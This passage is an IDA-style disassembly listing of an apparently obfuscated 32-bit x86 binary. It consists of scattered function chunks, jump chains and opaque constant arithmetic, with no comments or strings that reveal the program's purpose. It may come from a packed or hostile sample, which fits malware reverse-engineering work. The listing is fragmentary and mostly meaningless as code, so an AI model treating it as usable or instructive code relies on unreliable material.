; FUNCTION CHUNK AT 004413E7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044481C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447728 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447E61 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 004484CD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00448C5B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A0F5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044A2BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A8BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A9DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DEF4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450224 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450C7E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451E65 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452A61 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00453D34 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00454D4A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00454DEF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00455D56 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00456910 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004580D2 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00458B13 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00459F17 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045A2F4 SIZE 00000008 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jb	loc_43BFA2
		call	sub_44460F

loc_44B2F9:				; CODE XREF: sub_4391AB:loc_441E4Dj
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_458B13
sub_44B2EA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44B301	proc near		; DATA XREF: dviuq5id:004507A8o

; FUNCTION CHUNK AT 00441276 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00441EB5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004438A5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00445760 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00449FFC SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0044A9F6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044E2AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F3BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453491 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004593F8 SIZE 0000000B BYTES

		or	eax, eax
		jnz	loc_44F3BA
		jmp	loc_4593F8
sub_44B301	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_44B30E:				; CODE XREF: sub_443F7F:loc_44815Dj
					; sub_446DD8+725Ej
		mov	eax, [esp+4+var_4]
		push	edi
		mov	edi, ebx
		xchg	edi, [esp+0]
		jmp	loc_45761C
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44B31C:				; CODE XREF: sub_4525D0+34DCj
		jnz	loc_449FC8
		jmp	loc_45680D
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_44B327:				; CODE XREF: sub_45844D:loc_444E15j
		call	sub_444466
		mov	ds:dword_44DE84, eax
		jmp	loc_44A29E
; ---------------------------------------------------------------------------

loc_44B336:				; CODE XREF: sub_45844D:loc_4529FCj
					; dviuq5id:loc_458BCDj
		call	sub_44CD6F
; END OF FUNCTION CHUNK	FOR sub_45844D
; START	OF FUNCTION CHUNK FOR sub_449D2E

loc_44B33B:				; CODE XREF: sub_449D2E+7j
		jmp	loc_43E576
; END OF FUNCTION CHUNK	FOR sub_449D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_44B340:				; CODE XREF: sub_454094-1A59Dj
		jmp	loc_4539FE
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BE4

loc_44B345:				; CODE XREF: sub_444BE4+15j
		xor	eax, 3FC29304h
		add	eax, ebp
		add	eax, 0CCAA659h
		push	eax
		call	sub_44C6ED
		push	eax
		push	edx
		push	0F9D452C3h
		jmp	loc_45543E
; END OF FUNCTION CHUNK	FOR sub_444BE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D814

loc_44B365:				; CODE XREF: sub_44D814-E23Dj
		push	4EEAF2B4h
		xchg	edi, [esp+8+var_8]
		mov	edx, edi
		pop	edi
		xor	edx, 0D808703Ch
		jmp	loc_44E73F
; END OF FUNCTION CHUNK	FOR sub_44D814
; ---------------------------------------------------------------------------
		xchg	ebp, [esp]
		mov	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]
		mov	edx, 0FFFFFFFFh
		jmp	loc_44E732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_44B391:				; CODE XREF: sub_4512BC+6420j
		cmp	edi, 295C2059h
		jmp	loc_4519EC
; END OF FUNCTION CHUNK	FOR sub_4512BC
; ---------------------------------------------------------------------------

loc_44B39C:				; CODE XREF: dviuq5id:004405B3j
		jz	loc_459685

loc_44B3A2:				; CODE XREF: dviuq5id:0044A00Ej
		jmp	loc_43B100
; ---------------------------------------------------------------------------
		xchg	ecx, esi
		jb	loc_4416D1
		jmp	loc_459683
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457566

loc_44B3B4:				; CODE XREF: sub_457566-112BBj
		push	eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 8
		setnz	al
		call	sub_45A1A8
		pop	ecx
		mov	edx, [ebp+8]
		call	sub_442605

loc_44B3CD:				; CODE XREF: dviuq5id:0044A3B8j
		jmp	loc_453D8B
; END OF FUNCTION CHUNK	FOR sub_457566
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_386. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_44B3D3:				; CODE XREF: sub_442BFE+10C76j
		jmp	loc_455DA7
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------

loc_44B3D8:				; CODE XREF: dviuq5id:004505E6j
		jmp	loc_449ADA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_44B3DD:				; CODE XREF: sub_43C9A9+1029Fj
		jmp	loc_4394B3
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_44B3E2:				; CODE XREF: sub_451B18-72B6j
		jmp	nullsub_138
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------

loc_44B3E7:				; CODE XREF: dviuq5id:004453A3j
		jz	loc_4434F5
		test	ebx, ecx
		jmp	loc_44E7B4
; ---------------------------------------------------------------------------

loc_44B3F4:				; CODE XREF: dviuq5id:loc_449FF7j
		pop	eax
		or	eax, 9A60925Dh
		sub	eax, 1E83A2B4h
		and	eax, 26F72F01h
		jmp	loc_43E8E7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_474. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	offset loc_4481FD
		jmp	locret_458FD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_44B417:				; CODE XREF: sub_43FDFB+10D39j
					; sub_43B2BA:loc_451235j
		push	5535D160h
		pop	edi
		or	edi, 2E0DBE4Bh
		xor	edi, 0D298723Fh
		test	edi, 1000000h
		jmp	loc_44920D
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
		call	sub_44C53A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443222

loc_44B43A:				; CODE XREF: sub_443222-3ADDj
		jmp	loc_455801
; END OF FUNCTION CHUNK	FOR sub_443222
; ---------------------------------------------------------------------------

loc_44B43F:				; DATA XREF: sub_43EC6F+105F3o
		push	5164AA44h

loc_44B444:				; CODE XREF: dviuq5id:00451D64j
		pop	esi
		sub	esi, 1375D1AFh
		add	esi, 0C25607C8h
		popf
		xchg	esi, [esp]
		jmp	sub_44A58C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_489. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_44B45B:				; CODE XREF: sub_451EEC-11F1j
		jz	loc_444953
		jmp	loc_447B3D
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_44B466:				; CODE XREF: sub_454117:loc_441288j
		jns	loc_454203
		jmp	loc_441947
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
		shr	esi, 0Bh
		jmp	loc_45034F
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_43F144
		jmp	loc_43D0A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459BBA

loc_44B486:				; CODE XREF: sub_459BBA:loc_449035j
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_441E8C, 0
		jnz	loc_44BA35
		call	nullsub_21
		call	sub_456F43
		mov	edx, 0CF0182F6h
		jmp	loc_44BA2B
; END OF FUNCTION CHUNK	FOR sub_459BBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_44B4AA:				; CODE XREF: sub_4427AE:loc_45976Cj
		rol	ecx, 15h
		xor	ecx, 3BF54E5Bh
		push	offset loc_43F3C9
		jmp	loc_446CF6
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_44B4BD:				; CODE XREF: sub_446A9C:loc_451175j
		pop	ebp
		popf
		cmp	edi, esi
		jmp	loc_456613
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4442C5

loc_44B4C6:				; CODE XREF: sub_4442C5:loc_43D324j
					; sub_454228-16EE3j
		and	esi, 5F9BF16h
		add	esi, 0FA49A638h
		mov	[esi], eax
		pop	esi
		lea	eax, nullsub_10
		jmp	loc_43C6F3
; END OF FUNCTION CHUNK	FOR sub_4442C5
; ---------------------------------------------------------------------------

loc_44B4E0:				; CODE XREF: dviuq5id:004427FCj
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		xchg	edi, [esp]
		mov	esp, ebp
		pop	ebp
		push	0EC047A3Eh
		jmp	loc_449FF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_44B4F5:				; CODE XREF: sub_43C2DA:loc_444AACj
		pop	eax
		rol	eax, 0Eh
		xor	eax, 0A6381A02h
		or	eax, ds:4000F5h
		test	eax, 200000h
		jmp	loc_4480D6
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC6E

loc_44B510:				; CODE XREF: sub_44AC6E:loc_43B7E4j
		mov	edx, [ebx+3Ch]
		mov	edx, [ebx+edx+80h]
		or	edx, edx
		jz	loc_44312D

loc_44B522:				; CODE XREF: sub_44AC6E:loc_450A1Ej
					; sub_459825:loc_459829j
		jnz	loc_45104E
		jmp	loc_4599A3
; END OF FUNCTION CHUNK	FOR sub_44AC6E
; ---------------------------------------------------------------------------
		add	eax, edi
		jmp	loc_451FDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_44B534:				; CODE XREF: sub_4427AE+FD5Fj
		add	ebx, 68FE5F38h
		xor	eax, ebx
		pop	ebx
		sub	eax, 0AC036CB9h
		call	sub_456002

loc_44B548:				; CODE XREF: sub_43D83D+1850Fj
		jmp	loc_43B82F
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CD8D

loc_44B54D:				; CODE XREF: sub_43CD8D+12j
		jmp	loc_449F5B
; END OF FUNCTION CHUNK	FOR sub_43CD8D
; ---------------------------------------------------------------------------

loc_44B552:				; CODE XREF: dviuq5id:00455433j
		sub	edi, 1C91342Ah

; =============== S U B	R O U T	I N E =======================================



sub_44B558	proc near		; CODE XREF: sub_455400:loc_4521F4p

; FUNCTION CHUNK AT 00440477 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00446DBC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004555F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458646 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		cmp	dword ptr [ebp-10Ch], 76676264h
		jnz	loc_43C3E6
		jmp	loc_4555F6
sub_44B558	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_44B571:				; CODE XREF: sub_4440E9+DFE2j
		or	edx, 0DEF72176h

loc_44B577:				; CODE XREF: sub_4440E9:loc_443639j
		cmp	dword ptr [ebp-108h], 31342D37h
		jnz	loc_446D87
		jmp	loc_44D9A3
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
		push	7252ACA4h
		pop	eax
		xor	eax, 505C1655h
		add	eax, 2DDD0D44h
		test	eax, 4
		jmp	loc_4439A5
; ---------------------------------------------------------------------------
		not	ebp
		jmp	loc_455037
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4592D7

loc_44B5B0:				; CODE XREF: sub_4592D7-BD93j
		push	ecx
		push	93FD747h
		pop	ecx
		rol	ecx, 1Eh
		and	ecx, 87D3C576h
		xor	ecx, ds:4000F3h
		jmp	loc_44DCE0
; END OF FUNCTION CHUNK	FOR sub_4592D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440294

loc_44B5CB:				; CODE XREF: sub_440294:loc_44E2AFj
		mov	eax, [ebp-18h]
		jmp	loc_4392C3
; END OF FUNCTION CHUNK	FOR sub_440294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B02F

loc_44B5D3:				; CODE XREF: sub_44B02F:loc_4594D6j
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_4496D6
; END OF FUNCTION CHUNK	FOR sub_44B02F
; ---------------------------------------------------------------------------
		not	ebx
		jmp	sub_4496F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_44B5E7:				; CODE XREF: dviuq5id:0043AAF4j
					; sub_451EEC:loc_45A31Bj
		add	edx, 85C09457h
		push	offset sub_445B59
		jmp	nullsub_413
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
		and	eax, esi
		jmp	sub_44FC60
; ---------------------------------------------------------------------------
		rol	ebp, 0Ah
		jmp	loc_4404A4
; ---------------------------------------------------------------------------
		mov	edx, 0F9A79DECh
		call	sub_449EB7
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]
		ror	eax, 12h
		mov	ds:dword_457D2C, eax
		jmp	loc_44CC15

; =============== S U B	R O U T	I N E =======================================



sub_44B624	proc near		; CODE XREF: dviuq5id:0044B8D9j
					; sub_43B3A0+115ACp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043D8C9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043DBDF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043FEB4 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00441070 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004411FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004412B5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00441963 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00442885 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00445873 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00445B21 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00445FDD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00447D35 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00447F95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449305 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004496C0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C2A4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044C38E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044C695 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044C774 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D3D4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00450D0D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004521FE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455212 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457871 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00459F2E SIZE 0000000E BYTES

		xchg	eax, [esp-8+arg_4]
		pop	eax
		xchg	edx, [esp-0Ch+arg_8]
		mov	eax, edx
		pop	edx
		or	eax, 7175D42Bh
		jmp	loc_44D3D4
sub_44B624	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B9DA

loc_44B639:				; CODE XREF: sub_44B9DA+949Cj
		jz	loc_445C59
		jmp	loc_44F1E9
; END OF FUNCTION CHUNK	FOR sub_44B9DA
; ---------------------------------------------------------------------------

loc_44B644:				; CODE XREF: dviuq5id:00441136j
		cmp	eax, 0DC17B5FEh
		jmp	loc_4518BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_44B64F:				; CODE XREF: sub_445707-24B8j
		pop	ebp

loc_44B650:				; CODE XREF: sub_445707:loc_442314j
		call	sub_456F43
		push	94CF07B8h
		pop	edx
		and	edx, 57B1B978h
		jmp	loc_448E3C
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------

loc_44B666:				; CODE XREF: dviuq5id:00442F36j
		shr	esi, 1
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_44B669:				; CODE XREF: sub_44A94D:loc_442F1Cj
		add	edi, 1885C099h
		xchg	edi, [esp+0]
		jmp	loc_44C20A
; END OF FUNCTION CHUNK	FOR sub_44A94D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44B677:				; CODE XREF: sub_4525D0-1341Bj
		cmp	eax, 0C872E328h
		jmp	loc_4599DE
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456A43

loc_44B682:				; CODE XREF: sub_456A43:loc_444122j
					; dviuq5id:00444135j
		add	edx, 51DA3FA5h
		xchg	edx, [esp+4+var_4]
		jmp	loc_43D0C6
; END OF FUNCTION CHUNK	FOR sub_456A43
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B691:				; CODE XREF: dviuq5id:0044D332j
		jmp	loc_4487D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_44B696:				; CODE XREF: sub_448154-D3CDj
		jmp	loc_440031
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------

loc_44B69B:				; CODE XREF: dviuq5id:004586C0j
		jmp	ds:dword_41D144
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_479. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		cmp	al, 24h
		mov	edx, edi
		pop	edi
		jno	loc_449292
		mov	eax, [esp]
		push	edi
		jmp	loc_43FC22
; ---------------------------------------------------------------------------
		shl	eax, 0Bh
		jmp	loc_454BE4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B6BE	proc near		; CODE XREF: sub_44460F:loc_441510p

var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_8], eax
		call	sub_459970

loc_44B6CC:				; CODE XREF: sub_444E6D+C53Bj
		jmp	nullsub_70
sub_44B6BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E657

loc_44B6D1:				; CODE XREF: sub_44E657:loc_44E667j
		jmp	loc_4448B1
; END OF FUNCTION CHUNK	FOR sub_44E657
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_45002A
; ---------------------------------------------------------------------------
		and	ebx, 72F9C8A8h
		sub	eax, edx
		jmp	sub_44BDEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4575D9

loc_44B6E9:				; CODE XREF: sub_4575D9:loc_439C7Dj
		sub	eax, 2232A3A8h
		xor	eax, 546012C5h
		push	eax
		pushf
		push	0AE80E0D8h
		pop	eax
		jmp	loc_454823
; END OF FUNCTION CHUNK	FOR sub_4575D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4413C6

loc_44B702:				; CODE XREF: sub_4413C6+9j
					; sub_45889C:loc_45737Fj
		push	offset loc_43B281
		jmp	nullsub_151
; END OF FUNCTION CHUNK	FOR sub_4413C6

; =============== S U B	R O U T	I N E =======================================



sub_44B70C	proc near		; CODE XREF: sub_43927C+9p
					; dviuq5id:0044CA5Dj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A11B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B99E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043F10C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004409B0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00441ACA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443BF7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00445ED4 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044E367 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00453836 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004555AA SIZE 00000005 BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		cmp	al, 0A4h
		jz	loc_44167D
		jmp	loc_441ACA
sub_44B70C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44B71D:				; CODE XREF: dviuq5id:00459A1Cj
		mov	ecx, 3B6DB7A8h

loc_44B722:				; CODE XREF: dviuq5id:loc_4599FEj
		sub	ebx, 47AF46DCh
		add	ebx, 0F8EE916Fh
		xchg	ebx, [esp]
		jmp	loc_452D27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_44B736:				; CODE XREF: sub_43EB11+F48Cj
		and	edi, 9BDEE562h
		add	edi, ds:4000F9h
		jnb	loc_44E695

loc_44B748:				; CODE XREF: sub_459848-1FE5Bj
		jmp	loc_450AED
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
		add	eax, ebx
		shl	esi, 14h
		jmp	loc_44E695
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445E83

loc_44B757:				; CODE XREF: sub_445E83:loc_457937j
		mov	esp, ebp
		xchg	eax, [esp+0]
		mov	ebp, eax
		pop	eax
		jmp	loc_4448D9
; END OF FUNCTION CHUNK	FOR sub_445E83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F697

loc_44B764:				; CODE XREF: sub_44F697:loc_43F07Cj
		add	ecx, ds:4000FAh
		xor	ecx, 60CB658Ch
		add	ecx, 1F6E5C13h
		xchg	ecx, [esp+0]
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_44F697
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_44B77E:				; CODE XREF: sub_4560AC:loc_44F23Aj
		test	eax, eax
		jz	loc_448FE5
		jmp	loc_43F7BE
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442605

loc_44B78B:				; CODE XREF: sub_442605:loc_45A046j
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		jmp	loc_44D5E6
; END OF FUNCTION CHUNK	FOR sub_442605
; ---------------------------------------------------------------------------

loc_44B79F:				; CODE XREF: dviuq5id:loc_44BE1Dj
					; DATA XREF: sub_44AB80-E847o
		xor	edx, ebp

loc_44B7A1:				; CODE XREF: dviuq5id:loc_455AC8j
		rol	edx, 5
		add	edx, esp
		rol	edx, 5
		mov	[ebp-4], edx
		cmp	dword ptr [ebp-8], 0
		jbe	loc_440D02
		jmp	loc_44FB46
; ---------------------------------------------------------------------------

loc_44B7BB:				; CODE XREF: dviuq5id:0044D879j
		add	ecx, 67DC4DB7h
		mov	[ecx], eax
		pop	ecx
		cmp	dword ptr [ebp-10h], 0
		jz	loc_44F467
		jmp	loc_454FFC
; ---------------------------------------------------------------------------

loc_44B7D3:				; CODE XREF: dviuq5id:0044F609j
		jl	loc_440522
		jno	loc_441A1C
		jmp	loc_455F6B
; ---------------------------------------------------------------------------

loc_44B7E4:				; DATA XREF: sub_44BDEB+3F8Ao
		xchg	ebp, [esp]
		call	sub_44C85A
		push	0EFE85DC0h
		pop	eax
		or	eax, 6545511Bh
		add	eax, 87829Bh
		jmp	loc_44A357
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD27

loc_44B803:				; CODE XREF: sub_44BD27:loc_43E9BAj
		call	sub_44A58C
		push	ecx
		push	0ED15261Bh
		pop	ecx
		and	ecx, 552A8AF0h

loc_44B815:				; CODE XREF: dviuq5id:00441DFCj
		xor	ecx, 1DB35265h
		jmp	loc_44A390
; END OF FUNCTION CHUNK	FOR sub_44BD27
; ---------------------------------------------------------------------------
		and	edx, 3DDD4244h
		shl	ebp, 7
		jmp	sub_44C378
; ---------------------------------------------------------------------------

loc_44B82E:				; CODE XREF: dviuq5id:0043A381j
		js	loc_44A3F8

loc_44B834:				; CODE XREF: dviuq5id:loc_44A008j
		mov	eax, [ebp-4]
		call	nullsub_468
		retn
; ---------------------------------------------------------------------------

loc_44B83D:				; CODE XREF: dviuq5id:0043E6F7j
		jmp	locret_444ADB
; ---------------------------------------------------------------------------

loc_44B842:				; CODE XREF: dviuq5id:00456F66j
		jl	loc_43D8BC
; START	OF FUNCTION CHUNK FOR sub_4437F7

loc_44B848:				; CODE XREF: sub_4437F7:loc_449AE0j
		and	ebx, 6E4A4C88h
		add	ebx, 0BA3AE322h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_449C9E
; END OF FUNCTION CHUNK	FOR sub_4437F7

; =============== S U B	R O U T	I N E =======================================



sub_44B85C	proc near		; CODE XREF: dviuq5id:00448566j
					; sub_454E7C+3F94p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00441A9E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004490BE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00454FC4 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	edx
		call	sub_43C46D
		mov	eax, 0D4280129h
		push	esi
		mov	esi, ebx
		xchg	esi, [esp+4+var_4]
		jmp	loc_454FC4
sub_44B85C	endp


; =============== S U B	R O U T	I N E =======================================



sub_44B876	proc near		; CODE XREF: dviuq5id:loc_44BED5j
					; sub_44D52Fp ...

; FUNCTION CHUNK AT 00443BB7 SIZE 00000005 BYTES

		pop	edx
		push	offset loc_44F8B3
		jmp	loc_443BB7
sub_44B876	endp


; =============== S U B	R O U T	I N E =======================================



sub_44B881	proc near		; DATA XREF: sub_454267:loc_44F029o

var_4		= dword	ptr -4

		push	0A75E8BF1h
		xchg	edx, [esp+4+var_4]
		mov	edi, edx
		pop	edx
		rol	edi, 2
		add	edi, 62C7A236h
		jmp	loc_43BA5B
sub_44B881	endp

; ---------------------------------------------------------------------------

loc_44B89A:				; CODE XREF: dviuq5id:0044284Dj
		add	ecx, 6478FF10h
		xor	ecx, 2E7B090Ah
		and	ecx, 0CB4D709Fh
		add	ecx, 783BD908h
		mov	[ecx], eax
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_457566

loc_44B8B5:				; CODE XREF: sub_457566-19BA3j
					; dviuq5id:004463EBj
		ror	eax, 18h
		jo	loc_44EAA3
		jmp	loc_455AB7
; END OF FUNCTION CHUNK	FOR sub_457566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_44B8C3:				; CODE XREF: sub_439013+11FC2j
		jz	loc_4559B6
		sbb	esi, 253FBED1h
		not	edx
		jmp	loc_4559B2
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
		ror	esi, 15h
		jmp	sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_44B8DE:				; CODE XREF: sub_44952D-A0Fj
		sbb	eax, ebp
